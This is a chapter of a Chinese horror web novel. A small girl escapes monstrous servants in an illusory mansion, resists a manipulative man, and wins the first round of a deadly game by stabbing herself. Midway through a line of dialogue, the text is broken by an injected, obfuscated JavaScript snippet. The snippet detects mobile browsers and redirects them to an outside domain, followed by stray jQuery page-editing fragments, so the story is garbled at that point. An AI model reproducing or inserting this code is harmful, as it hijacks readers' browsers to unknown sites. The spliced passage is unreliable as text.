出乎意料，看起来是怪物的阿姨点点头，收拾地上打翻的碗筷转身离开。


    宋昭松口气，没深思老宅的阿姨是不是缄默的性格，她下意识飞速跑上楼打算回房间锁门，不过刚穿好鞋子就想起一件事。


    老宅不对劲她离开不就好了吗？为什么要自投罗网？


    扎着小辫子的女孩立刻转身朝门外跑去，俞甚察觉她的动作，无声轻笑，不愧是昭昭，打不过就跑，确实很聪明。


    可惜——


    “小昭，天已经黑了。避免发生之前走丢的事情，老爷子特地打电话叮嘱我，得看好你。”


    顶着食人花脑袋的管家猛地出现，生生打断宋昭离开的步伐。


    她一脸惊骇连退数步，生怕往日和蔼可亲的阿姨碰到自己。


    “知道了知道了，我这就回房间睡觉！千万别来打扰我！”


    宋昭捂住砰砰直跳的心脏，拼命朝着房间跑去，她默默祈祷真的是自己疯了，总比整个世界全部混乱来得好。


    她锁紧门，又拖来桌子椅子抵在门口，擦干额头的汗珠，从三楼的阳台往下看，花园里全是吐着信子的毒蛇，足有十几米长。


    颤抖的小手连忙锁上窗户，小腿一软坐在地上，心底止不住发寒。


    宋明到底想做什么！他疯了！他什么时候动的手？为什么自己一点也没发现？


    此刻宋昭抱着微弱的期待，祈祷只是他对自己眼睛做了什么。


    砰砰砰——


    激烈的撞击声把厚重的门板拍得轻微晃动，连抵在门口的桌子都移位些许。


    她上前闭眼，用感知推动桌椅，挪动一小格。


    正常的人类没有这么大的力气，宋昭心一沉，不是她有问题，那就是整个房子出了问题。


    “小姐，你的姜汤。”


    “小姐，要讲睡前故事吗？”


    “小姐，还没吃晚饭呢。”


    “小姐，老爷子让我来确认你的状况。”


    ……


    啊啊啊！


    宋昭简直快疯了，她们只是简单冰冷的金钱关系，为什么要来精神折磨她！


    没关系，好在没有直接攻击她，等她找到宋明的踪迹，一定要让他知道自己的厉害！


    她咬牙切齿，试图从精神上获取些许愉悦。


    毕竟她只是一个五岁的小孩。


    门板的抖动越来越严重，简直像是拉来挖掘机对着房子轰隆，宋昭险险躲开天花板掉落的吊灯，气得恶狠狠盯住房门。


    “啊啊啊啊——给我滚远点——滚远点！是不是听不懂人话啊！”


    笑话，出去是不可能的，只会缩在安全屋里。


    门板撞击声突然停止，宋昭却不敢放松警惕，寂静的空间回荡着她略显粗重的呼吸。


    温柔和蔼的嗓音在耳边响起，“小姐，你的姜汤。”


    门被关得死死的，怪物不知道从哪个方向偷偷摸摸窜进来，持之以恒向她推销比呕吐物更恶心的毒药。


    “小姐，我熬了很久的。”


    浑浊的汤碗浮动酸臭的固状物，看一眼能把人送走，“快喝呀！再不喝就要生病了！”


    真喝了就得要命了。


    女孩猛地抬脚一踢，汤碗撞在贴近的苍老脸上，余光瞥见墙壁里钻出一半的怪物，她立刻拖开桌椅，把门打开缝隙，仗着小巧的身躯钻出去。


    反手锁死门把手。


    蜿蜒的长廊曲曲折折，当务之急是找到宋明问清他的目的。


    他频繁恐吓自己，到底想要什么。


    不过往好处想，这小子的目的不是直接弄死她，否则绝对挺不过一轮。


    但目的也可能是把她恶心死。


    宋昭沿途拉开一扇扇房门，可惜全部空空如也。


    被困在房间内部的诡异争相向她涌来，潮水般庞杂的恶念化作尖利的丝线刺入瞳孔，她头痛欲裂，几乎难以站立。


    她默念精神攻击远离我……


    当然，无济于事。


    “小姐——”


    不要，不要再说了……


    接触暴露的时间越长，她的思维就越发混沌。


    女孩无力张口，“这么叫人真的很恶心，真要是我雇的肯定让管家全给炒了。”


    啊不对，管家也在里面。


    她瞬间有梦回地主压迫阶级的错觉，以及谁来告诉她这一切到底是不是真的，如果是假的，怎样才能结束？


    哐啷——


    清脆的响声拉扯她迷茫是双眼，宋昭低头看见冰冷的刀锋折射昏黄的灯光。


    哦，是她离开房间前偷偷藏在身上的。


    她正要弯腰捡起来，就看见纤长的手指先一步捏住刀锋，男人俊美的侧脸噙着笑意，怜惜地注视着她。


    “昭昭的脸色好苍白，发生什么了？我来帮你好不好？”


    他毫不客气扶住女孩站立不稳的身体，趁着思维混沌低声哄骗，“是他们对吗？都是怪物，他们会伤害人类，我们只能狼狈逃跑。”


    女孩看着人皮一路融化的怪物，手抖着夺走小刀。


    “对……跑……得跑……”


    但俞甚牢牢禁锢住她的身体，迫使她只能待在原地，他的手掌攥住女孩的胳膊，眼睛流淌恶劣的毒汁。


    虎口擒住女孩的下颚，四目相对，他柔声安慰引到她。


    “跑不开的，怪物都是疯子，只要你被盯上，在他们死前，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16325377|181275||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你都要被永远缠住。”


    似是而非的话术，不知道谁更符合描述。


    “除非——你亲手剜开他们的心脏。”


    杀人？


    女孩懵懂的大脑告诉她不可以，逼迫她对身边人动手正是幕后之人的目的。


    她勉强清醒，再次把刀锋对准身后人。


    噗——


    仿佛陷在烂泥的质感，深邃的紫瞳笑着弯眼，嘲笑她的无能为力。


    “自己选——是被他们污染，还是先下手为强。”


    “杀了他们！”


    阴冷的吐息包裹住她，俞甚牵引着女孩，让她抬起刀锋对准已经看不出人形的怪物，附在她耳边轻声道：“这次，我真的不会再帮你。”


    “相信我，你不会想要变成这副模样的——黏腻、恶心、丑陋，周而复始陷进无穷无尽的混乱。”


    男人帮她别好潮湿凌乱的额发，“听话的孩子才会得到奖励。”


    进退两难的境地，宋昭听见另一道来自心底的声音。


    “你要保持人类的身份，还是沦落为怪物。”


    人类。


    “刀锋对准心脏，这里是依托你的记忆搭建的幻境，沉沦只会越陷越深，只有借助痛觉从外界打破，才能赢下这一局。”


    “不要害怕疼痛，我会永远保护你。”


    好。


    女孩低头，凌厉的刀片倒映出自己的影子。


    她毫不犹豫翻转刀柄，径直刺入心脏。


    刺啦——


    先于疼痛抵达的，是皮囊碎裂的声音。


    康璐分别前的话语蓦然浮现脑海，“我在保护皮囊里放了点东西，确保最后胜利的会有人类阵营。”


    原来是这样，欢乐城第一关，灵魂污染。


    玩家被抹去记忆进入过去的某个节点，面对的选择是死亡或者加入诡异阵营，完完全全的单项选择题，根本没打算给人类保留生路。


    圆桌对面，少女睁开冷淡的瞳孔，“第一局，我赢了。”


    宋昭死亡瞬间，俞甚的内心不可避免颤动，他不顾一切伸手，试图阻止她。


    翻面的纸牌碎裂，男人深紫色的眼珠被瓷白的指节抠出，擦拭干净摆在宋昭面前。


    纵使目不能视，干瘪的眼皮紧闭，都无损俞甚俊美的容颜，他满不在乎扬唇，“不亏是昭昭，连完全劣势的局面都能翻转。”


    暗地里，他捏碎一张又一张胜利的牌面。


    狡猾的人类。


    少女的手指按在第二章牌面，赤裸直白的视线从男人的唇齿没入胸膛。


    “下一局，我要你的胳膊。”


    她要让他断手断脚，清醒承受来自她的羞辱。